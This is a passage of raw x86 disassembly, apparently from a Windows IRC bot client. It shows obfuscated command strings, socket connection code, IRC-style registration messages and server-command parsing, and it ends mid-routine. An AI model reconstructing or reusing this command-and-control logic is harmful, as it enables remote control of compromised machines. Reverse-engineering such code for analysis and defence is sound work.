var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F60
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		nop
		call	near ptr 27D0802h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470EC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F4
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_447104
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_447108
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_44710C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_447110
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_447114
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_447118
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_44711C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_447120
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_447124
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_447128
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_44712C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447130
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FD70	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FD70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FD88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FD88:				; CODE XREF: ___:0040FD7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDA0	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FDA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FDA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_4395D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411330


loc_40FFA2:				; CODE XREF: sub_40FF60+13CAj
		mov	al, byte_4E6E74
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_411330
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FFCA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FFD4
		cmp	eax, ebx
		jz	loc_41010E


loc_40FFCA:				; CODE XREF: sub_40FF60+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41010E


loc_40FFD4:				; CODE XREF: sub_40FF60+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FFE9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_40FFE9:				; CODE XREF: sub_40FF60+80j
		mov	ecx, offset word_448C8E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410019
		mov	[ebp+20h], ebx


loc_410019:				; CODE XREF: sub_40FF60+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44741D
		mov	ecx, offset word_448D06
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D06
		add	eax, 1B6h
		push	eax
		push	offset dword_4473D4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D06
		push	edx
		push	offset dword_4472B0
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447342
		mov	ecx, offset word_448D06
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D06
		add	eax, 0DBh
		push	eax
		push	offset byte_4472F9
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D06
		add	edx, 92h
		push	edx
		push	offset byte_44738B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474AF
		mov	ecx, offset word_448D06
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41010E:				; CODE XREF: sub_40FF60+64j
					; sub_40FF60+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410138
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2811E0Eh
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410138:				; CODE XREF: sub_40FF60+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_4102C8
		mov	ax, word_44735C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, offset byte_4472F9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	2710h
		nop
		call	near ptr 2811E0Eh
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FF60+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	sub_5EA1BD
		nop
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		call	near ptr 71AB2BF4h
		nop
		push	offset byte_446F60
		mov	ecx, offset byte_44738B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410287
		mov	ecx, offset byte_44738B
		call	sub_4017E4
		mov	edx, dword_44710C
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410287:				; CODE XREF: sub_40FF60+305j
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	eax, dword_447114
		push	eax
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		mov	ecx, dword_447110
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4102C8:				; CODE XREF: sub_40FF60+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411320
		nop
		call	near ptr 27D0802h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447118
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4103A0
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473D4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4103A4


loc_4103A0:				; CODE XREF: sub_40FF60+3EAj
		mov	[esp+20h+var_D], bl


loc_4103A4:				; CODE XREF: sub_40FF60+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4103C6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4103C6:				; CODE XREF: sub_40FF60+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470EC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410464
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_447108
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410592
; ---------------------------------------------------------------------------


loc_410464:				; CODE XREF: sub_40FF60+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_4470F0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_4105D0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447108
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410597
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_447108
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410592:				; CODE XREF: sub_40FF60+4FFj
		call	sub_401226


loc_410597:				; CODE XREF: sub_40FF60+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411327
		mov	ecx, offset byte_44741D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	ecx, dword_4470F4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4105D0:				; CODE XREF: sub_40FF60+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447128
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410652
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44712C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410657


loc_410652:				; CODE XREF: sub_40FF60+69Bj
